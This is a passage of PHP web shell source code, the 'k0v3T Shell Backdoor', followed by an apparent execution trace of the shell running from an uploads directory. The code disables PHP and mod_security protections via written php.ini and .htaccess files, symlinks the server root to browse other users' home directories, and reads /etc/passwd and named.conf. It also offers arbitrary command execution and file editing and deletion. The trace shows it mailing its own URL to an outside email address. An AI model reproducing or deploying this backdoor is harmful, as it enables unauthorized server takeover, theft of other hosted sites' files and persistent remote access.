href=\\"k0v3T_symvhost/\\">Configurations</a></center>";\r\n\t\t\t}\r\n\t\t\r\n\t\t\r\n\t\t}else{\r\n echo "<form method=\\"post\\" action=\\"\\"><center>\r\n\t\t</center></select><br><textarea name=\\"passwd\\" class=\'area\' rows=\'15\' cols=\'60\'>\\n";\r\n echo include("/etc/passwd"); \r\n echo "</textarea><br><br>\r\n <select class=\\"select\\" name=\\"config\\" style=\\"width: 450px;\\" height=\\"10\\">\r\n <option value=\\"grab\\">Config Grab</option>\r\n <option value=\\"symlink\\">Symlink Config</option>\r\n\t\t<option value=\\"404\\">Config 404</option>\r\n\t\t<option value=\\"symvhosts\\">Vhosts Config Grabber</option><br><br><input type=\\"submit\\" value=\\"Start!!\\"></td></tr></center>\\n";\r\n}\r\n\r\n} elseif($_GET[\'a\'] == \'disablefunc\'){\r\n\t\techo "<br><br><center>";\r\n\t\techo "<form method=post><input type=submit name=ini value=\'php.ini\' /> <input type=submit name=htce value=\'.htaccess\' /> <input type=submit name=litini value=\'Litespeed\' /></form>";\r\n\t\tif(isset($_POST[\'ini\']))\r\n{\r\n\t\t$file = fopen("php.ini","w");\r\n\t\techo fwrite($file,"disable_functions=none\r\nsafe_mode = Off\r\n\t");\r\n\t\tfclose($file);\r\n\t\techo "<a href=\'php.ini\'>click here!</a>";\r\n}\t\tif(isset($_POST[\'htce\']))\r\n{\r\n\t\t$file = fopen(".htaccess","w");\r\n\t\techo fwrite($file,"<IfModule mod_security.c>\r\nSecFilterEngine Off\r\nSecFilterScanPOST Off\r\n</IfModule>\r\n\t");\r\n\t\tfclose($file);\r\n\t\techo "htaccess successfully created!";\r\n} if(isset($_POST[\'litini\'])){\r\n\t\t$iniph = \'<? n echo ini_get("safe_mode"); n echo ini_get("open_basedir"); n include($_GET["file"]); n ini_restore("safe_mode"); n ini_restore("open_basedir"); n echo ini_get("safe_mode"); n echo ini_get("open_basedir"); n include($_GET["ss"]; n ?>\';\r\n\t\t\t $byph = "safe_mode = Off n disable_functions= ";\r\n\t\t$comp="PEZpbGVzICoucGhwPg0KRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNA0KPC9GaWxlcz4=";\r\n\t\tfile_put_contents("php.ini",base64_decode($byph));\r\n\t\tfile_put_contents("ini.php",base64_decode($iniph));\r\n\t\tfile_put_contents(".htaccess",base64_decode($comp));\r\n\t\techo "<script>alert(\'Disable Functions in Litespeed Created\'); hideAll();</script>";\r\n\t\techo"</center>";\r\n}\r\n\r\n}\r\nelseif($_GET[\'a\'] == \'symlink\') {\r\n$full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $path);\r\n$d0mains = @file("/etc/named.conf");\r\n##httaces\r\nif($d0mains){\r\n@mkdir("k0v3T_sym",0777);\r\n@chdir("k0v3T_sym");\r\n@exe("ln -s / root");\r\n$file3 = \'Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php\r\nAddHandler text/plain .php\r\nSatisfy Any\';\r\n$fp3 = fopen(\'.htaccess\',\'w\');\r\n$fw3 = fwrite($fp3,$file3);@fclose($fp3);\r\necho "<br>\r\n<table align=center border=1 style=\'width:60%;border-color:#333333;\'>\r\n<tr>\r\n<td align=center><font size=2>S. No.</font></td>\r\n<td align=center><font size=2>Domains</font></td>\r\n<td align=center><font size=2>Users</font></td>\r\n<td align=center><font size=2>Symlink</font></td>\r\n</tr>";\r\n$dcount = 1;\r\nforeach($d0mains as $d0main){\r\nif(eregi("zone",$d0main)){preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);\r\nflush();\r\nif(strlen(trim($domains[1][0])) > 2){\r\n$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));\r\necho "<tr align=center><td><font size=2>" . $dcount . "</font></td>\r\n<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>\r\n<td>".$user[\'name\']."</td>\r\n<td><a href=\'$full/k0v3T_sym/root/home/".$user[\'name\']."/public_html\' target=\'_blank\'><font class=txt>Symlink</font></a></td></tr>";\r\nflush();\r\n$dcount++;}}}\r\necho "</table>";\r\n}else{\r\n$TEST=@file(\'/etc/passwd\');\r\nif ($TEST){\r\n@mkdir("k0v3T_sym",0777);\r\n@chdir("k0v3T_sym");\r\nexe("ln -s / root");\r\n$file3 = \'Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php\r\nAddHandler text/plain .php\r\nSatisfy Any\';\r\n $fp3 = fopen(\'.htaccess\',\'w\');\r\n $fw3 = fwrite($fp3,$file3);\r\n @fclose($fp3);\r\n echo "\r\n <table align=center border=1><tr>\r\n <td align=center><font size=3>S. No.</font></td>\r\n <td align=center><font size=3>Users</font></td>\r\n <td align=center><font size=3>Symlink</font></td></tr>";\r\n $dcount = 1;\r\n $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");\r\n while(!feof($file)){\r\n $s = fgets($file);\r\n $matches = array();\r\n $t = preg_match(\'/\\/(.*?)\\:\\//s\', $s, $matches);\r\n $matches = str_replace("home/","",$matches[1]);\r\n if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")\r\n continue;\r\n echo "<tr><td align=center><font size=2>" . $dcount . "</td>\r\n <td align=center><font class=txt>" . $matches . "</td>";\r\n echo "<td align=center><font class=txt><a href=$full/k0v3T_sym/root/home/" . $matches . "/public_html target=\'_blank\'>Symlink</a></td></tr>";\r\n $dcount++;}fclose($file);\r\n echo "</table>";}else{if($os != "Windows"){@mkdir("k0v3T_sym",0777);@chdir("k0v3T_sym");@exe("ln -s / root");$file3 = \'\r\n Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php\r\nAddHandler text/plain .php\r\nSatisfy Any\r\n\';\r\n $fp3 = fopen(\'.htaccess\',\'w\');\r\n $fw3 = fwrite($fp3,$file3);@fclose($fp3);\r\n echo "\r\n <div class=\'mybox\'><h2 class=\'k2ll33d2\'>server symlinker</h2>\r\n <table align=center border=1><tr>\r\n <td align=center><font size=3>ID</font></td>\r\n <td align=center><font size=3>Users</font></td>\r\n <td align=center><font size=3>Symlink</font></td></tr>";\r\n $temp = "";$val1 = 0;$val2 = 1000;\r\n for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);\r\n if ($uid)$temp .= join(\':\',$uid)."\\n";}\r\n echo \'<br/>\';$temp = trim($temp);$file5 =\r\n fopen("test.txt","w");\r\n fputs($file5,$temp);\r\n fclose($file5);$dcount = 1;$file =\r\n fopen("test.txt", "r") or exit("Unable to open file!");\r\n while(!feof($file)){$s = fgets($file);$matches = array();\r\n $t = preg_match(\'/\\/(.*?)\\:\\//s\', $s, $matches);$matches = str_replace("home/","",$matches[1]);\r\n if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")\r\n continue;\r\n echo "<tr><td align=center><font size=2>" . $dcount . "</td>\r\n <td align=center><font class=txt>" . $matches . "</td>";\r\n echo "<td align=center><font class=txt><a href=$full/k0v3T_sym/root/home/" . $matches . "/public_html target=\'_blank\'>Symlink</a></td></tr>";\r\n $dcount++;}\r\n fclose($file);\r\n echo "</table></div></center>";unlink("test.txt");\r\n } else\r\n echo "<center><font size=3>Cannot create Symlink</font></center>";\r\n }\r\n }\r\n##JUMPING \r\n} elseif($_GET[\'a\'] == \'jumping\') {\r\n $i = 0;\r\n echo "<pre><div class=\'margin: 5px auto;\'>";\r\n $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can\'t read /etc/passwd</font>");\r\n while($passwd = fgets($etc)) {\r\nif($passwd == \'\' || !$etc) {\r\n echo "<font color=red>Can\'t read /etc/passwd</font>";\r\n} else {\r\n preg_match_all(\'/(.*?):x:/\', $passwd, $user_jumping);\r\n foreach($user_jumping[1] as $user_idx_jump) {\r\n $user_jumping_dir = "/home/$user_idx_jump/public_html";\r\n if(is_readable($user_jumping_dir)) {\r\n $i++;\r\n $jrw = "[<font color=#5ddcfc>R</font>] <a href=\'?dir=$user_jumping_dir\'><font color=red>$user_jumping_dir</font></a>";\r\n if(is_writable($user_jumping_dir)) {\r\n $jrw = "[<font color=#5ddcfc>RW</font>] <a href=\'?dir=$user_jumping_dir\'><font color=#5ddcfc>$user_jumping_dir</font></a>";\r\n }\r\n echo $jrw;\r\n if(function_exists(\'posix_getpwuid\')) {\r\n $domain_jump = file_get_contents("/etc/named.conf"); \r\n if($domain_jump == \'\') {\r\n echo " => ( <font color=red>gagal mengambil nama domain nya</font> )<br>";\r\n } else {\r\n preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);\r\n foreach($domains_jump[1] as $dj) {\r\n $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));\r\n $user_jumping_url = $user_jumping_url[\'name\'];\r\n if($user_jumping_url == $user_idx_jump) {\r\n echo " => ( <u>$dj</u> )<br>";\r\n break;\r\n }\r\n }\r\n }\r\n } else {\r\n echo "<br>";\r\n }\r\n }\r\n }\r\n}\r\n }\r\n if($i == 0) {\r\n } else {\r\necho "<br>Total ada ".$i." Kamar di ".gethostbyname($_SERVER[\'HTTP_HOST\'])."";\r\n \r\n echo "</div></pre>";\r\n\t\t}\r\n\r\n\r\n\r\n//CONFIG\r\n\r\n} elseif($_GET[\'a\'] == \'cmd\') {\r\n\techo "<form method=\'post\'>\r\n\t<font style=\'text-decoration: underline;\'>".$user."@".$ip.": ~ $ </font>\r\n\t<input type=\'text\' size=\'30\' height=\'10\' name=\'cmd\'><input type=\'submit\' name=\'do_cmd\' value=\'>>\'>\r\n\t</form>";\r\n\tif($_POST[\'do_cmd\']) {\r\n\t\techo "<pre>".exe($_POST[\'cmd\'])."</pre>";\r\n\t}\r\n\r\n//START\r\n} elseif(isset($_GET[\'filesrc\'])){\r\necho "<tr><td>Current File : ";\r\necho $_GET[\'filesrc\'];\r\necho \'</tr></td></table><br />\';\r\necho(\' <center><textarea style="width:80%;height:50%;" readonly> \'.htmlspecialchars(file_get_contents($_GET[\'filesrc\'])).\'</textarea></center>\');\r\n}elseif(isset($_GET[\'option\']) && $_POST[\'opt\'] != \'delete\'){\r\necho \'</table><br />\'.$_POST[\'path\'].\'<br /><br />\';\r\nif($_POST[\'opt\'] == \'chmod\'){\r\nif(isset($_POST[\'perm\'])){\r\nif(chmod($_POST[\'path\'],$_POST[\'perm\'])){\r\necho \'<font color="#5ddcfc">Ganti Permission Berhasil Gan</font><br />\';\r\n}else{\r\necho \'<font color="RED">Ganti Permission Gagal Gan</font><br />\';\r\n}\r\n}\r\necho \'<form method="POST">\r\nPermission : <input name="perm" type="text" size="4" value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'path\'])), -4).\'" />\r\n<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">\r\n<input type="hidden" name="opt" value="chmod">\r\n<input type="submit" value="Chmod" />\r\n</form>\';\r\n}elseif($_POST[\'opt\'] == \'rename\'){\r\nif(isset($_POST[\'newname\'])){\r\nif(rename($_POST[\'path\'],$path.\'/\'.$_POST[\'newname\'])){\r\necho \'<font color="#5ddcfc">Ganti Nama Berhasil Gan</font><br />\';\r\n}else{\r\necho \'<font color="RED">Ganti Nama Gagal Gan</font><br />\';\r\n}\r\n$_POST[\'name\'] = $_POST[\'newname\'];\r\n}\r\necho \'<form method="POST">\r\nNama Baru : <input name="newname" type="text" size="30" value="\'.$_POST[\'name\'].\'" />\r\n<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">\r\n<input type="hidden" name="opt" value="rename">\r\n<input type="submit" value="Ubah Nama" />\r\n</form>\';\r\n}elseif($_POST[\'opt\'] == \'edit\'){\r\nif(isset($_POST[\'src\'])){\r\n$fp = fopen($_POST[\'path\'],\'w\');\r\nif(fwrite($fp,$_POST[\'src\'])){\r\necho \'<font color="#5ddcfc">Edit File Berhasil Gan</font><br />\';\r\n}else{\r\necho \'<font color="RED">Edit File Gagal Gan</font><br />\';\r\n}\r\nfclose($fp);\r\n}\r\necho \'<form method="POST">\r\n<textarea cols=140 rows=20 name="src">\'.htmlspecialchars(file_get_contents($_POST[\'path\'])).\'</textarea><br />\r\n<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">\r\n<input type="hidden" name="opt" value="edit">\r\n<input type="submit" value="Edit File" />\r\n</form>\';\r\n}\r\necho \'</center>\';\r\n}else{\r\necho \'</table><br /><center>\';\r\nif(isset($_GET[\'option\']) && $_POST[\'opt\'] == \'delete\'){\r\nif($_POST[\'type\'] == \'dir\'){\r\nif(rmdir($_POST[\'path\'])){\r\necho \'<font color="#5ddcfc">Hapus Dir Berhasil Gan</font><br />\';\r\n}else{\r\necho \'<font color="red">Hapus Dir Gagal Gan</font><br />\';\r\n}\r\n}elseif($_POST[\'type\'] == \'file\'){\r\nif(unlink($_POST[\'path\'])){\r\necho \'<font color="#5ddcfc">Hapus File Berhasil Gan</font><br />\';\r\n}else{\r\necho \'<font color="#red">Hapus File Gagal Gan</font><br />\';\r\n}\r\n}\r\n}\r\n\t\t\r\necho \'</center>\';\r\n$scandir = scandir($path);\r\necho \'<div id="content"><table width="700px" border="0" cellpadding="4" cellspacing="1" align="center">\r\n<tr class="first">\r\n<b><td><center><font color=black size=3>Name</font></center></td></b>\r\n<b><td><center><font color=black size=3>Size</font></center></td></b>\r\n<b><td><center><font color=black size=3>Permissions</font></center></td></b>\r\n<b><td><center><font color=black size=3>Options</font></center></td></b>\r\n</tr>\';\r\n\r\nforeach($scandir as $dir){\r\nif(!is_dir("$path/$dir") || $dir == \'.\' || $dir == \'..\') continue;\r\necho "<td class=\'td_home\'><img src=\'data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=\'>\r\n<a href=\\"?path=$path/$dir\\"><font color=red>$dir</font></a></td>\r\n<td><center><font color=red>Directory</font></center></td>\r\n<td><center>";\r\n\t\r\nif(is_writable("$path/$dir")) echo \'<font color="#5ddcfc">\';\r\nelseif(!is_readable("$path/$dir")) echo \'<font color="red">\';\r\necho perms("$path/$dir");\r\nif(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo \'</font>\';\r\n\r\necho "</center></td>\r\n<td><center><form method=\\"POST\\" action=\\"?option&path=$path\\">\r\n<select name=\\"opt\\">\r\n<option value=\\"Select\\">Select</option>\r\n<option value=\\"delete\\">Delete</option>\r\n<option value=\\"chmod\\">Chmod</option>\r\n<option value=\\"rename\\">Rename</option>\r\n</select>\r\n<input type=\\"hidden\\" name=\\"type\\" value=\\"dir\\">\r\n<input type=\\"hidden\\" name=\\"name\\" value=\\"$dir\\">\r\n<input type=\\"hidden\\" name=\\"path\\" value=\\"$path/$dir\\">\r\n<input type=\\"submit\\" value=\\">\\" />\r\n</form></center></td>\r\n</tr>";\r\n}\r\necho \'<tr class="first"><td></td><td></td><td></td><td></td></tr>\';\r\nforeach($scandir as $file){\r\nif(!is_file("$path/$file")) continue;\r\n$size = filesize("$path/$file")/1024;\r\n$size = round($size,3);\r\nif($size >= 1024){\r\n$size = round($size/1024,2).\' MB\';\r\n}else{\r\n$size = $size.\' KB\';\r\n}\r\n\r\necho "<tr>\r\n<td><img src=\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=\'>\r\n<a href=\\"?filesrc=$path/$file&path=$path\\"><font color=red>$file</font></a></td>\r\n<td><center><font color=Red>".$size."</font></center></td>\r\n<td><center>";\r\nif(is_writable("$path/$file")) echo \'<font color=#5ddcfc>\';\r\nelseif(!is_readable("$path/$file")) echo \'<font color=red>\';\r\necho perms("$path/$file");\r\nif(is_writable("$path/$file") || !is_readable("$path/$file")) echo \'</font>\';\r\necho "</center></td>\r\n<td><center><form method=\\"POST\\" action=\\"?option&path=$path\\">\r\n<select name=\\"opt\\">\r\n<option value=\\"Select\\">Select</option>\r\n<option value=\\"delete\\">Delete</option>\r\n<option value=\\"chmod\\">Chmod</option>\r\n<option value=\\"rename\\">Rename</option>\r\n<option value=\\"edit\\">Edit</option>\r\n</select>\r\n<input type=\\"hidden\\" name=\\"type\\" value=\\"file\\">\r\n<input type=\\"hidden\\" name=\\"name\\" value=\\"$file\\">\r\n<input type=\\"hidden\\" name=\\"path\\" value=\\"$path/$file\\">\r\n<input type=\\"submit\\" value=\\">\\" />\r\n</form></center></td>\r\n</tr>";\r\n}\r\necho \'</table>\r\n</div>\';\r\n}\r\necho \'<br /><center><font size=3 ; color=red>k0v3T Shell Backdoor V.01<br><font size=4 ; color=#5ddcfc>Copyright © <font color="red">Indonesian Hacker Community</font></br>\r\n\r\n</body>\r\n</html>\';\r\nfunction perms($file){\r\n$perms = fileperms($file);\r\n\r\nif (($perms & 0xC000) == 0xC000) {\r\n// Socket\r\n$info = \'s\';\r\n} elseif (($perms & 0xA000) == 0xA000) {\r\n// Symbolic Link\r\n$info = \'l\';\r\n} elseif (($perms & 0x8000) == 0x8000) {\r\n// Regular\r\n$info = \'-\';\r\n} elseif (($perms & 0x6000) == 0x6000) {\r\n// Block special\r\n$info = \'b\';\r\n} elseif (($perms & 0x4000) == 0x4000) {\r\n// Directory\r\n$info = \'d\';\r\n} elseif (($perms & 0x2000) == 0x2000) {\r\n// Character special\r\n$info = \'c\';\r\n} elseif (($perms & 0x1000) == 0x1000) {\r\n// FIFO pipe\r\n$info = \'p\';\r\n} else {\r\n// Unknown\r\n$info = \'u\';\r\n}\r\n\r\n// Owner\r\n$info .= (($perms & 0x0100) ? \'r\' : \'-\');\r\n$info .= (($perms & 0x0080) ? \'w\' : \'-\');\r\n$info .= (($perms & 0x0040) ?\r\n(($perms & 0x0800) ? \'s\' : \'x\' ) :\r\n(($perms & 0x0800) ? \'S\' : \'-\'));\r\n\r\n// Group\r\n$info .= (($perms & 0x0020) ? \'r\' : \'-\');\r\n$info .= (($perms & 0x0010) ? \'w\' : \'-\');\r\n$info .= (($perms & 0x0008) ?\r\n(($perms & 0x0400) ? \'s\' : \'x\' ) :\r\n(($perms & 0x0400) ? \'S\' : \'-\'));\r\n\r\n// World\r\n$info .= (($perms & 0x0004) ? \'r\' : \'-\');\r\n$info .= (($perms & 0x0002) ? \'w\' : \'-\');\r\n$info .= (($perms & 0x0001) ?\r\n(($perms & 0x0200) ? \'t\' : \'x\' ) :\r\n(($perms & 0x0200) ? \'T\' : \'-\'));\r\n\r\nreturn $info;\r\n}' /var/www/html/uploads/titit.php 89 0
3 6 0 0.002426 707568 ini_set 0 /var/www/html/uploads/titit.php(89) : eval()'d code 1 2 'output_buffering' 0
3 6 1 0.002446 707640
3 6 R FALSE
3 7 0 0.002461 707568 ini_set 0 /var/www/html/uploads/titit.php(89) : eval()'d code 2 2 'display_errors' 0
3 7 1 0.002476 707640
3 7 R ''
3 8 0 0.002490 707568 set_time_limit 0 /var/www/html/uploads/titit.php(89) : eval()'d code 3 1 0
3 8 1 0.002506 707632
3 8 R FALSE
3 9 0 0.002519 707600 ini_set 0 /var/www/html/uploads/titit.php(89) : eval()'d code 4 2 'memory_limit' '64M'
3 9 1 0.002535 707704
3 9 R '128M'
3 10 0 0.002548 707600 header 0 /var/www/html/uploads/titit.php(89) : eval()'d code 5 1 'Content-Type: text/html; charset=UTF-8'
3 10 1 0.002566 707776
3 10 R NULL
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 6 $tujuanmail = 'satyaaji1945@gmail.com'
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 7 $x_path = 'http://localhost/uploads/titit.php'
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 8 $pesan_alert = 'fix http://localhost/uploads/titit.php :p *IP Address : [ 127.0.0.1 ]'
3 11 0 0.002624 707944 mail 0 /var/www/html/uploads/titit.php(89) : eval()'d code 9 4 'satyaaji1945@gmail.com' 'LOGGER' 'fix http://localhost/uploads/titit.php :p *IP Address : [ 127.0.0.1 ]' '[ 127.0.0.1 ]'
3 11 1 0.003349 708088
3 11 R FALSE
3 12 0 0.003371 707904 set_time_limit 0 /var/www/html/uploads/titit.php(89) : eval()'d code 10 1 0
3 12 1 0.003387 707936
3 12 R FALSE
3 13 0 0.003400 707904 error_reporting 0 /var/www/html/uploads/titit.php(89) : eval()'d code 11 1 0
3 13 1 0.003414 707944
3 13 R 22527
3 14 0 0.003427 707904 get_magic_quotes_gpc 0 /var/www/html/uploads/titit.php(89) : eval()'d code 22 0
3 14 1 0.003441 707904
3 14 R FALSE
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 55 $nick = 'k0v3T'
3 15 0 0.003467 707904 getcwd 0 /var/www/html/uploads/titit.php(89) : eval()'d code 59 0
3 15 1 0.003486 707952
3 15 R '/var/www/html/uploads'
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 59 $path = '/var/www/html/uploads'
3 16 0 0.003519 707952 getenv 0 /var/www/html/uploads/titit.php(89) : eval()'d code 61 1 'SERVER_SOFTWARE'
3 16 1 0.003536 708032
3 16 R 'Apache/2.4.52 (Ubuntu)'
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 61 $software = 'Apache/2.4.52 (Ubuntu)'
3 17 0 0.003564 708000 str_replace 0 /var/www/html/uploads/titit.php(89) : eval()'d code 62 3 '\\' '/' '/var/www/html/uploads'
3 17 1 0.003580 708096
3 17 R '/var/www/html/uploads'
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 62 $path = '/var/www/html/uploads'
3 18 0 0.003606 708000 explode 0 /var/www/html/uploads/titit.php(89) : eval()'d code 63 2 '/' '/var/www/html/uploads'
3 18 1 0.003622 708576
3 18 R [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 63 $paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
3 19 0 0.003657 708504 function_exists 0 /var/www/html/uploads/titit.php(89) : eval()'d code 68 1 'posix_getegid'
3 19 1 0.003671 708544
3 19 R TRUE
3 20 0 0.003684 708504 posix_geteuid 0 /var/www/html/uploads/titit.php(89) : eval()'d code 74 0
3 20 1 0.003698 708504
3 20 R 33
3 21 0 0.003711 708504 posix_getpwuid 0 /var/www/html/uploads/titit.php(89) : eval()'d code 74 1 33
3 21 1 0.003742 709336
3 21 R ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 74 $uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
3 22 0 0.003787 709304 posix_getegid 0 /var/www/html/uploads/titit.php(89) : eval()'d code 75 0
3 22 1 0.003800 709304
3 22 R 33
3 23 0 0.003812 709304 posix_getgrgid 0 /var/www/html/uploads/titit.php(89) : eval()'d code 75 1 33
3 23 1 0.003839 709968
3 23 R ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 75 $gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 76 $user = 'www-data'
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 77 $uid = 33
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 78 $group = 'www-data'
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 79 $gid = 33
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 83 $id = 0
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 85 $a = TRUE
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 83 $id = 1
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 91 $i = 0
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 83 $id = 2
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 91 $i = 0
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 83 $id = 3
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 91 $i = 0
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 83 $id = 4
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 91 $i = 0
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 91 $i++
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 91 $i++
3 24 0 0.004152 708584 scandir 0 /var/www/html/uploads/titit.php(89) : eval()'d code 723 1 '/var/www/html/uploads'
3 24 1 0.004186 709208
3 24 R [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'titit.php']
2 A /var/www/html/uploads/titit.php(89) : eval()'d code 723 $scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'titit.php']
3 25 0 0.004227 709224 is_dir 0 /var/www/html/uploads/titit.php(89) : eval()'d code 733 1 '/var/www/html/uploads/.'
3 25 1 0.004244 709288
3 25 R TRUE
3 26 0 0.004258 709256 is_dir 0 /var/www/html/uploads/titit.php(89) : eval()'d code 733 1 '/var/www/html/uploads/..'
3 26 1 0.004274 709304
3 26 R TRUE
3 27 0 0.004288 709264 is_dir 0 /var/www/html/uploads/titit.php(89) : eval()'d code 733 1 '/var/www/html/uploads/.htaccess'
3 27 1 0.004303 709304
3 27 R FALSE
3 28 0 0.004317 709264 is_dir 0 /var/www/html/uploads/titit.php(89) : eval()'d code 733 1 '/var/www/html/uploads/data'
3 28 1 0.004332 709304
3 28 R TRUE
3 29 0 0.004346 709264 is_writable 0 /var/www/html/uploads/titit.php(89) : eval()'d code 739 1 '/var/www/html/uploads/data'
3 29 1 0.004364 709304
3 29 R TRUE
3 30 0 0.004378 709264 perms 1 /var/www/html/uploads/titit.php(89) : eval()'d code 741 1 '/var/www/html/uploads/data'
4 31 0 0.004392 709264 fileperms 0 /var/www/html/uploads/titit.php(89) : eval()'d code 803 1 '/var/www/html/uploads/data'
4 31 1 0.004405 709304
4 31 R 16895
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 803 $perms = 16895
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 819 $info = 'd'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 832 $info .= 'r'
3 A /var/www/html/uploads/titit.php(89) : eval()'d code 833 $info .= 'w'
